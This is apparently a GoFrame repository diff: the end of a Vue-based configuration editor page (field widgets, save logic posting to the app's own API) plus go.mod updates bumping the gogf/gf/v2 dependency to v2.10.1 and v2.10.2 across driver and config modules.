<span class="text-xs font-medium px-2 py-0.5 rounded-full" style="background: var(--border-light); color: var(--text-muted);">{{ getFilteredGroupFields(group).length }}</span>
|
||||
<span v-if="groupHasModified(currentSchema, group)" class="flex items-center space-x-1 text-xs font-medium px-2 py-0.5 rounded-full" style="background: var(--primary-glow); color: var(--primary);">
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-blue-500"></span>
|
||||
<span>{{ lang==='zh-CN' ? '已修改' : 'Modified' }}</span>
|
||||
</span>
|
||||
</div>
|
||||
<div class="flex items-center space-x-2">
|
||||
<span v-if="groupHasModified(currentSchema, group)" @click.stop="resetGroup(group)"
|
||||
class="opacity-0 group-hover:opacity-100 text-xs px-2.5 py-1 rounded-md hover:bg-red-50 transition-all cursor-pointer select-none" style="color: var(--danger);">
|
||||
{{ lang==='zh-CN' ? '重置分组' : 'Reset Group' }}
|
||||
</span>
|
||||
</div>
|
||||
</button>
|
||||
|
||||
<div v-if="expandedGroups[group]" class="border-t" style="border-color: var(--border-light);">
|
||||
<div v-for="(field, fIdx) in getFilteredGroupFields(group)" :key="field.jsonKey"
|
||||
:style="{ animationDelay: fIdx * 30 + 'ms' }"
|
||||
class="field-row px-6 py-4 border-b last:border-0 fade-in" style="border-color: var(--border-light);">
|
||||
<div v-if="isModified(field)" class="modified-bar"></div>
|
||||
<div class="flex items-start gap-4">
|
||||
<div class="flex-1 min-w-0">
|
||||
<div class="flex items-center flex-wrap gap-2 mb-1">
|
||||
<span class="text-sm font-semibold" style="color: var(--text-primary);">{{ field.name }}</span>
|
||||
<code class="text-xs font-mono px-1.5 py-0.5 rounded" style="background: #F1F5F9; color: var(--text-secondary);">{{ field.jsonKey }}</code>
|
||||
<span :class="['type-badge px-1.5 py-0.5 rounded', typeColorClass(field.type)]">{{ field.type }}</span>
|
||||
<span v-if="field.rule" class="type-badge px-1.5 py-0.5 rounded" style="background: rgba(245, 158, 11, 0.08); color: #D97706;">{{ field.rule }}</span>
|
||||
</div>
|
||||
<p class="text-xs leading-relaxed" style="color: var(--text-secondary);">{{ getFieldDescription(field) }}</p>
|
||||
<div v-if="field.default" class="flex items-center mt-1.5 text-xs" style="color: var(--text-muted);">
|
||||
<span>{{ lang==='zh-CN' ? '默认' : 'Default' }}:</span>
|
||||
<code class="ml-1 font-mono px-1.5 py-0.5 rounded" style="background: #F8FAFC; color: var(--text-secondary);">{{ field.default }}</code>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center gap-2 flex-shrink-0" style="width: 280px;">
|
||||
<template v-if="field.type === 'bool'">
|
||||
<div class="flex items-center space-x-3 w-full justify-end">
|
||||
<span class="text-xs font-medium" :style="{ color: getFieldValue(field) ? 'var(--primary)' : 'var(--text-muted)' }">
|
||||
{{ getFieldValue(field) ? (lang==='zh-CN'?'开启':'ON') : (lang==='zh-CN'?'关闭':'OFF') }}
|
||||
</span>
|
||||
<label class="toggle-switch">
|
||||
<input type="checkbox" :checked="getFieldValue(field)" @change="setFieldValue(field, $event.target.checked)">
|
||||
<span class="toggle-slider"></span>
|
||||
</label>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<template v-else-if="field.type === 'duration'">
|
||||
<input type="text"
|
||||
:value="getFieldValue(field) !== undefined ? getFieldValue(field) : ''"
|
||||
@input="setFieldValue(field, $event.target.value)"
|
||||
@blur="validateField(field)"
|
||||
:placeholder="field.default || 'e.g. 30s, 1m, 1h'"
|
||||
class="field-input w-full text-sm px-3 py-2 rounded-lg">
|
||||
</template>
|
||||
|
||||
<template v-else-if="field.type === 'int' || field.type === 'float'">
|
||||
<input type="number"
|
||||
:value="getFieldValue(field) !== undefined ? getFieldValue(field) : ''"
|
||||
@input="setFieldValue(field, $event.target.value)"
|
||||
@blur="validateField(field)"
|
||||
:placeholder="field.default || '0'"
|
||||
class="field-input w-full text-sm px-3 py-2 rounded-lg">
|
||||
</template>
|
||||
|
||||
<template v-else-if="field.type === 'map' || field.type.startsWith('[]')">
|
||||
<textarea
|
||||
:value="getFieldValue(field) !== undefined ? JSON.stringify(getFieldValue(field), null, 2) : ''"
|
||||
@input="setJSONFieldValue(field, $event.target.value)"
|
||||
@blur="validateField(field)"
|
||||
:placeholder="field.default || (field.type === 'map' ? '{key: value}' : '[item1, item2]')"
|
||||
rows="2"
|
||||
class="field-input w-full text-sm px-3 py-2 rounded-lg resize-y"
|
||||
style="min-height: 36px;"></textarea>
|
||||
</template>
|
||||
|
||||
<template v-else>
|
||||
<input type="text"
|
||||
:value="getFieldValue(field) !== undefined ? getFieldValue(field) : ''"
|
||||
@input="setFieldValue(field, $event.target.value)"
|
||||
@blur="validateField(field)"
|
||||
:placeholder="field.default || ''"
|
||||
class="field-input w-full text-sm px-3 py-2 rounded-lg">
|
||||
</template>
|
||||
|
||||
<button v-if="isModified(field)" @click="resetField(field)"
|
||||
class="tooltip-wrap p-2 rounded-lg hover:bg-red-50 transition-all flex-shrink-0 group">
|
||||
<svg class="w-4 h-4 transition-colors" style="color: var(--text-muted);" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
|
||||
</svg>
|
||||
<span class="tip-text">{{ lang==='zh-CN' ? '恢复默认值' : 'Reset to default' }}</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-if="fieldErrors[activeModule+'.'+field.jsonKey]" class="mt-2 flex items-center space-x-1.5 text-xs" style="color: var(--danger);">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
<span>{{ fieldErrors[activeModule+'.'+field.jsonKey] }}</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-if="searchQuery && filteredFieldCount === 0" class="text-center py-12">
|
||||
<svg class="w-12 h-12 mx-auto mb-3" style="color: var(--text-muted);" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"/></svg>
|
||||
<p class="text-sm font-medium" style="color: var(--text-secondary);">
|
||||
{{ lang==='zh-CN' ? '没有找到匹配的字段' : 'No matching fields found' }}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<footer class="fixed bottom-0 left-0 right-0 glass flex items-center justify-between px-6 text-xs z-40"
|
||||
style="height: var(--footer-height); border-top: 1px solid rgba(226, 232, 240, 0.8); color: var(--text-secondary);">
|
||||
<div class="flex items-center space-x-4">
|
||||
<span v-if="configFilePath" class="flex items-center space-x-1.5">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"/></svg>
|
||||
<span class="font-mono">{{ configFilePath }}</span>
|
||||
</span>
|
||||
<span v-else class="flex items-center space-x-1.5" style="color: var(--text-muted);">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
<span>{{ lang==='zh-CN' ? '未加载配置文件' : 'No config file loaded' }}</span>
|
||||
</span>
|
||||
</div>
|
||||
<div class="flex items-center space-x-4">
|
||||
<span v-if="modifiedCount > 0" class="flex items-center space-x-1.5 font-medium" style="color: var(--primary);">
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-blue-500 status-dot"></span>
|
||||
<span>{{ modifiedCount }} {{ lang==='zh-CN' ? '处修改' : 'change(s)' }}</span>
|
||||
</span>
|
||||
<span v-if="lastSaved" class="flex items-center space-x-1.5" style="color: var(--success);">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>
|
||||
<span>{{ lang==='zh-CN' ? '已保存' : 'Saved' }} {{ lastSaved }}</span>
|
||||
</span>
|
||||
<span class="font-mono opacity-60">GoFrame Config Editor v1.0</span>
|
||||
</div>
|
||||
</footer>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const { createApp, ref, computed, onMounted, reactive, nextTick } = Vue;
|
||||
|
||||
createApp({
|
||||
setup() {
|
||||
const schemas = ref([]);
|
||||
const activeModule = ref('');
|
||||
const activeGroup = ref('');
|
||||
const activeConfigGroup = ref(''); // 当前选择的配置组，如 "default", "cache", "disk"
|
||||
const lang = ref('en');
|
||||
const i18nData = ref({});
|
||||
const configData = ref({});
|
||||
const editedValues = reactive({});
|
||||
const fieldErrors = reactive({});
|
||||
const expandedGroups = reactive({});
|
||||
const loading = ref(true);
|
||||
const saving = ref(false);
|
||||
const configFilePath = ref('');
|
||||
const configFileType = ref('yaml');
|
||||
const exportFormat = ref('yaml');
|
||||
const lastSaved = ref('');
|
||||
const searchQuery = ref('');
|
||||
const toast = reactive({ show: false, type: 'success', message: '' });
|
||||
const moduleIcons = { server: '\u{1F310}', database: '\u{1F5C4}', redis: '\u26A1', logger: '\u{1F4DD}', viewer: '\u{1F3A8}' };
|
||||
|
||||
const currentSchema = computed(() => schemas.value.find(s => s.name === activeModule.value));
|
||||
|
||||
// 计算当前模块的配置组列表
|
||||
const configGroups = computed(() => {
|
||||
if (!currentSchema.value || !configData.value) return [];
|
||||
const moduleData = configData.value[currentSchema.value.configNode];
|
||||
if (!moduleData || typeof moduleData !== 'object') return [];
|
||||
// 获取所有配置组名称（排除非对象类型的键）
|
||||
const groups = [];
|
||||
for (const key of Object.keys(moduleData)) {
|
||||
const val = moduleData[key];
|
||||
if (val && typeof val === 'object') {
|
||||
groups.push(key);
|
||||
}
|
||||
}
|
||||
return groups.sort();
|
||||
});
|
||||
|
||||
// 判断是否需要显示配置组选择器（有多个配置组时才显示）
|
||||
const showConfigGroupSelector = computed(() => configGroups.value.length > 1);
|
||||
const modifiedCount = computed(() => Object.keys(editedValues).length);
|
||||
const filteredFieldCount = computed(() => {
|
||||
if (!currentSchema.value) return 0;
|
||||
if (!searchQuery.value) return currentSchema.value.fields.length;
|
||||
return currentSchema.value.fields.filter(f => matchSearch(f)).length;
|
||||
});
|
||||
|
||||
function showToast(type, message) {
|
||||
toast.type = type; toast.message = message; toast.show = true;
|
||||
setTimeout(() => { toast.show = false; }, 3000);
|
||||
}
|
||||
|
||||
function formatModuleName(name) { return name.charAt(0).toUpperCase() + name.slice(1); }
|
||||
|
||||
function matchSearch(field) {
|
||||
if (!searchQuery.value) return true;
|
||||
const q = searchQuery.value.toLowerCase();
|
||||
const desc = lang.value !== 'en' && field.i18nKey && i18nData.value[field.i18nKey]
|
||||
? i18nData.value[field.i18nKey] : (field.description || '');
|
||||
return field.name.toLowerCase().includes(q) ||
|
||||
field.jsonKey.toLowerCase().includes(q) ||
|
||||
desc.toLowerCase().includes(q) ||
|
||||
field.type.toLowerCase().includes(q);
|
||||
}
|
||||
|
||||
function selectModule(name) {
|
||||
activeModule.value = name;
|
||||
activeConfigGroup.value = ''; // 切换模块时重置配置组选择
|
||||
const schema = schemas.value.find(s => s.name === name);
|
||||
if (schema) {
|
||||
schema.groups.forEach(g => { if (!(g in expandedGroups)) expandedGroups[g] = true; });
|
||||
}
|
||||
// 自动选择第一个配置组
|
||||
nextTick(() => {
|
||||
if (configGroups.value.length > 0) {
|
||||
activeConfigGroup.value = configGroups.value[0];
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 选择配置组
|
||||
function selectConfigGroup(groupName) {
|
||||
activeConfigGroup.value = groupName;
|
||||
}
|
||||
|
||||
function toggleGroup(group) { expandedGroups[group] = !expandedGroups[group]; }
|
||||
|
||||
function scrollToGroup(group) {
|
||||
activeGroup.value = group;
|
||||
expandedGroups[group] = true;
|
||||
nextTick(() => {
|
||||
const el = document.getElementById('group-' + group);
|
||||
if (el) el.scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
});
|
||||
}
|
||||
|
||||
function getGroupFields(group) {
|
||||
if (!currentSchema.value) return [];
|
||||
return currentSchema.value.fields.filter(f => f.group === group);
|
||||
}
|
||||
|
||||
function getFilteredGroupFields(group) { return getGroupFields(group).filter(f => matchSearch(f)); }
|
||||
|
||||
function getGroupFieldCount(schema, group) { return schema.fields.filter(f => f.group === group).length; }
|
||||
|
||||
// findValueInObj returns the value for key from obj using a case-insensitive match.
|
||||
function findValueInObj(obj, key) {
|
||||
if (!obj || typeof obj !== 'object') return undefined;
|
||||
if (key in obj) return obj[key];
|
||||
const lk = key.toLowerCase();
|
||||
for (const k of Object.keys(obj)) {
|
||||
if (k.toLowerCase() === lk) return obj[k];
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
// resolveConfigValue finds the actual config value for a field,
|
||||
// handling nested structures like database.default.host and redis.default.address.
|
||||
function resolveConfigValue(moduleData, field) {
|
||||
if (!moduleData) return undefined;
|
||||
const key = field.jsonKey;
|
||||
|
||||
// 如果选择了配置组，直接从该组获取值
|
||||
if (activeConfigGroup.value && moduleData[activeConfigGroup.value]) {
|
||||
const groupData = moduleData[activeConfigGroup.value];
|
||||
// 处理数组形式（如 database.default 是数组）
|
||||
if (Array.isArray(groupData) && groupData.length > 0) {
|
||||
return findValueInObj(groupData[0], key);
|
||||
}
|
||||
// 处理对象形式（如 redis.default 是对象）
|
||||
if (typeof groupData === 'object') {
|
||||
return findValueInObj(groupData, key);
|
||||
}
|
||||
}
|
||||
|
||||
// 1. Direct lookup.
|
||||
const direct = findValueInObj(moduleData, key);
|
||||
if (direct !== undefined) return direct;
|
||||
|
||||
// 2. Nested group lookup — GoFrame stores database/redis configs under
|
||||
// group names like "default", e.g. database.default.host.
|
||||
for (const groupKey of Object.keys(moduleData)) {
|
||||
const groupVal = moduleData[groupKey];
|
||||
if (!groupVal || typeof groupVal !== 'object') continue;
|
||||
|
||||
// Object form: { host: "...", port: "..." }
|
||||
if (!Array.isArray(groupVal)) {
|
||||
const nested = findValueInObj(groupVal, key);
|
||||
if (nested !== undefined) return nested;
|
||||
}
|
||||
// Array form: [{ host: "...", port: "..." }] — take first element.
|
||||
if (Array.isArray(groupVal) && groupVal.length > 0) {
|
||||
const nested = findValueInObj(groupVal[0], key);
|
||||
if (nested !== undefined) return nested;
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
function getFieldValue(field) {
|
||||
const key = activeModule.value + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '') + field.jsonKey;
|
||||
if (key in editedValues) return editedValues[key];
|
||||
if (!currentSchema.value) return undefined;
|
||||
const moduleData = configData.value[currentSchema.value.configNode];
|
||||
return resolveConfigValue(moduleData, field);
|
||||
}
|
||||
|
||||
function setFieldValue(field, value) {
|
||||
const key = activeModule.value + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '') + field.jsonKey;
|
||||
editedValues[key] = value;
|
||||
delete fieldErrors[key];
|
||||
}
|
||||
|
||||
function setJSONFieldValue(field, rawValue) {
|
||||
const key = activeModule.value + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '') + field.jsonKey;
|
||||
try {
|
||||
editedValues[key] = JSON.parse(rawValue);
|
||||
delete fieldErrors[key];
|
||||
} catch (e) {
|
||||
if (rawValue.trim() === '') {
|
||||
delete editedValues[key];
|
||||
delete fieldErrors[key];
|
||||
} else {
|
||||
fieldErrors[key] = lang.value === 'zh-CN' ? '无效的 JSON 格式' : 'Invalid JSON format';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function resetField(field) {
|
||||
const key = activeModule.value + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '') + field.jsonKey;
|
||||
delete editedValues[key];
|
||||
delete fieldErrors[key];
|
||||
}
|
||||
|
||||
function resetGroup(group) { getGroupFields(group).forEach(f => resetField(f)); }
|
||||
|
||||
function isModified(field) {
|
||||
const key = activeModule.value + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '') + field.jsonKey;
|
||||
return key in editedValues;
|
||||
}
|
||||
|
||||
function groupHasModified(schema, group) {
|
||||
const prefix = schema.name + '.' + (activeConfigGroup.value ? activeConfigGroup.value + '.' : '');
|
||||
return schema.fields.filter(f => f.group === group).some(f => (prefix + f.jsonKey) in editedValues);
|
||||
}
|
||||
|
||||
function getModuleModifiedCount(moduleName) {
|
||||
return Object.keys(editedValues).filter(k => k.startsWith(moduleName + '.')).length;
|
||||
}
|
||||
|
||||
function getFieldDescription(field) {
|
||||
if (lang.value !== 'en' && field.i18nKey && i18nData.value[field.i18nKey]) {
|
||||
return i18nData.value[field.i18nKey];
|
||||
}
|
||||
return field.description || '';
|
||||
}
|
||||
|
||||
function typeColorClass(type) {
|
||||
const map = { 'string': 'bg-green-50 text-green-700', 'int': 'bg-blue-50 text-blue-700',
|
||||
'bool': 'bg-purple-50 text-purple-700', 'duration': 'bg-amber-50 text-amber-700',
|
||||
'float': 'bg-indigo-50 text-indigo-700', 'map': 'bg-pink-50 text-pink-700' };
|
||||
if (type.startsWith('[]')) return 'bg-orange-50 text-orange-700';
|
||||
return map[type] || 'bg-gray-100 text-gray-600';
|
||||
}
|
||||
|
||||
function validateField(field) {
|
||||
const key = activeModule.value + '.' + field.jsonKey;
|
||||
const value = getFieldValue(field);
|
||||
if (field.rule && field.rule.includes('required') && (!value || value === '')) {
|
||||
fieldErrors[key] = (lang.value === 'zh-CN' ? '此字段为必填项' : 'This field is required');
|
||||
return;
|
||||
}
|
||||
delete fieldErrors[key];
|
||||
}
|
||||
|
||||
async function switchLang(newLang) {
|
||||
lang.value = newLang;
|
||||
if (newLang !== 'en') {
|
||||
try {
|
||||
const res = await fetch('/api/i18n/' + newLang);
|
||||
const json = await res.json();
|
||||
if (json.code === 0) i18nData.value = json.data || {};
|
||||
} catch (e) { console.error('Failed to load i18n', e); }
|
||||
}
|
||||
}
|
||||
|
||||
// setNestedValue updates fieldKey inside moduleData in-place,
|
||||
// handling nested structures like database.default.host and redis.default.address.
|
||||
function setNestedValue(moduleData, fieldKey, value) {
|
||||
const lk = fieldKey.toLowerCase();
|
||||
// 1. Direct update.
|
||||
for (const k of Object.keys(moduleData)) {
|
||||
if (k.toLowerCase() === lk) { moduleData[k] = value; return true; }
|
||||
}
|
||||
// 2. Look inside nested group objects.
|
||||
for (const groupKey of Object.keys(moduleData)) {
|
||||
const groupVal = moduleData[groupKey];
|
||||
if (!groupVal || typeof groupVal !== 'object') continue;
|
||||
|
||||
if (!Array.isArray(groupVal)) {
|
||||
for (const k of Object.keys(groupVal)) {
|
||||
if (k.toLowerCase() === lk) { groupVal[k] = value; return true; }
|
||||
}
|
||||
}
|
||||
if (Array.isArray(groupVal) && groupVal.length > 0) {
|
||||
for (const k of Object.keys(groupVal[0])) {
|
||||
if (k.toLowerCase() === lk) { groupVal[0][k] = value; return true; }
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// 获取指定模块的配置组列表
|
||||
function configGroupsForModule(moduleName) {
|
||||
const schema = schemas.value.find(s => s.name === moduleName);
|
||||
if (!schema || !configData.value) return [];
|
||||
const moduleData = configData.value[schema.configNode];
|
||||
if (!moduleData || typeof moduleData !== 'object') return [];
|
||||
const groups = [];
|
||||
for (const key of Object.keys(moduleData)) {
|
||||
const val = moduleData[key];
|
||||
if (val && typeof val === 'object') {
|
||||
groups.push(key);
|
||||
}
|
||||
}
|
||||
return groups;
|
||||
}
|
||||
|
||||
async function saveConfig() {
|
||||
const merged = JSON.parse(JSON.stringify(configData.value || {}));
|
||||
for (const [key, value] of Object.entries(editedValues)) {
|
||||
const parts = key.split('.');
|
||||
const moduleName = parts[0];
|
||||
const schema = schemas.value.find(s => s.name === moduleName);
|
||||
if (!schema) continue;
|
||||
const configNode = schema.configNode;
|
||||
if (!merged[configNode]) merged[configNode] = {};
|
||||
|
||||
// 检查是否有配置组（如 redis.cache.address 中的 cache）
|
||||
const configGroups = configGroupsForModule(moduleName);
|
||||
if (configGroups.length > 0 && parts.length >= 3) {
|
||||
// 格式: module.configGroup.fieldKey
|
||||
const groupName = parts[1];
|
||||
const fieldKey = parts.slice(2).join('.');
|
||||
if (!merged[configNode][groupName]) {
|
||||
merged[configNode][groupName] = {};
|
||||
}
|
||||
const groupData = merged[configNode][groupName];
|
||||
if (Array.isArray(groupData) && groupData.length > 0) {
|
||||
groupData[0][fieldKey] = value;
|
||||
} else if (typeof groupData === 'object') {
|
||||
groupData[fieldKey] = value;
|
||||
}
|
||||
} else {
|
||||
// 格式: module.fieldKey（无配置组）
|
||||
const fieldKey = parts.slice(1).join('.');
|
||||
if (!setNestedValue(merged[configNode], fieldKey, value)) {
|
||||
merged[configNode][fieldKey] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saving.value = true;
|
||||
try {
|
||||
const res = await fetch('/api/config/save', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
config: merged,
|
||||
filePath: configFilePath.value || '',
|
||||
fileType: exportFormat.value,
|
||||
})
|
||||
});
|
||||
const json = await res.json();
|
||||
if (json.code === 0) {
|
||||
lastSaved.value = new Date().toLocaleTimeString();
|
||||
if (json.data && json.data.filePath) configFilePath.value = json.data.filePath;
|
||||
showToast('success', lang.value === 'zh-CN' ? '配置保存成功' : 'Configuration saved successfully');
|
||||
} else {
|
||||
showToast('error', (lang.value === 'zh-CN' ? '保存失败: ' : 'Save failed: ') + json.message);
|
||||
}
|
||||
} catch (e) {
|
||||
showToast('error', (lang.value === 'zh-CN' ? '保存错误: ' : 'Save error: ') + e.message);
|
||||
}
|
||||
setTimeout(() => { saving.value = false; }, 2000);
|
||||
}
|
||||
|
||||
document.addEventListener('keydown', (e) => {
|
||||
if ((e.ctrlKey || e.metaKey) && e.key === 's') {
|
||||
e.preventDefault();
|
||||
if (!saving.value) saveConfig();
|
||||
}
|
||||
});
|
||||
|
||||
onMounted(async () => {
|
||||
try {
|
||||
const [schemaRes, cfgRes] = await Promise.all([
|
||||
fetch('/api/schemas'),
|
||||
fetch('/api/config')
|
||||
]);
|
||||
const schemaJson = await schemaRes.json();
|
||||
if (schemaJson.code === 0) {
|
||||
schemas.value = schemaJson.data || [];
|
||||
if (schemas.value.length > 0) selectModule(schemas.value[0].name);
|
||||
}
|
||||
const cfgJson = await cfgRes.json();
|
||||
if (cfgJson.code === 0 && cfgJson.data) {
|
||||
configData.value = cfgJson.data.config || {};
|
||||
configFilePath.value = cfgJson.data.filePath || '';
|
||||
configFileType.value = cfgJson.data.fileType || 'yaml';
|
||||
exportFormat.value = cfgJson.data.fileType || 'yaml';
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Failed to load data', e);
|
||||
showToast('error', 'Failed to load configuration data');
|
||||
}
|
||||
loading.value = false;
|
||||
});
|
||||
|
||||
return {
|
||||
schemas, activeModule, activeGroup, activeConfigGroup, lang, i18nData, configData,
|
||||
editedValues, fieldErrors, expandedGroups, loading, saving, configFilePath,
|
||||
configFileType, exportFormat, lastSaved, moduleIcons, searchQuery,
|
||||
toast, currentSchema, modifiedCount, filteredFieldCount,
|
||||
configGroups, showConfigGroupSelector,
|
||||
showToast, formatModuleName, matchSearch,
|
||||
selectModule, selectConfigGroup, toggleGroup, scrollToGroup,
|
||||
getGroupFields, getFilteredGroupFields, getGroupFieldCount,
|
||||
getFieldValue, setFieldValue, setJSONFieldValue, resetField, resetGroup,
|
||||
isModified, groupHasModified, getModuleModifiedCount,
|
||||
getFieldDescription, typeColorClass, validateField,
|
||||
switchLang, saveConfig,
|
||||
};
|
||||
}
|
||||
}).mount('#app');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
toolchain go1.24.6
|
||||
|
||||
require github.com/gogf/gf/v2 v2.10.0
|
||||
require github.com/gogf/gf/v2 v2.10.1
|
||||
|
||||
require (
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/apolloconfig/agollo/v4 v4.3.1
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/consul/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/hashicorp/consul/api v1.24.0
|
||||
github.com/hashicorp/go-cleanhttp v0.5.2
|
||||
)
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/kubecm/v2
|
||||
go 1.24.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
k8s.io/api v0.33.4
|
||||
k8s.io/apimachinery v0.33.4
|
||||
k8s.io/client-go v0.33.4
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/nacos/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/nacos-group/nacos-sdk-go/v2 v2.3.3
|
||||
)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/polaris/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/polarismesh/polaris-go v1.6.1
|
||||
)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/ClickHouse/clickhouse-go/v2 v2.0.15
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/shopspring/decimal v1.3.1
|
||||
)
|
||||
|
||||
@ -6,7 +6,7 @@ replace github.com/gogf/gf/v2 => ../../../
|
||||
|
||||
require (
|
||||
gitee.com/chunanyong/dm v1.8.12
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
gitee.com/opengauss/openGauss-connector-go-pq v1.0.7
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/google/uuid v1.6.0
|
||||
)
|
||||
|
||||
|
||||
@ -3,8 +3,8 @@ module github.com/gogf/gf/contrib/drivers/mariadb/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.2
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/mssql/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/microsoft/go-mssqldb v1.7.1
|
||||
)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/go-sql-driver/mysql v1.7.1
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,8 +3,8 @@ module github.com/gogf/gf/contrib/drivers/oceanbase/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.2
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/oracle/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/sijms/go-ora/v2 v2.7.10
|
||||
)
|
||||
|
||||
|
||||
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/pgsql/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/lib/pq v1.10.9
|
||||
)
|
||||
|
||||
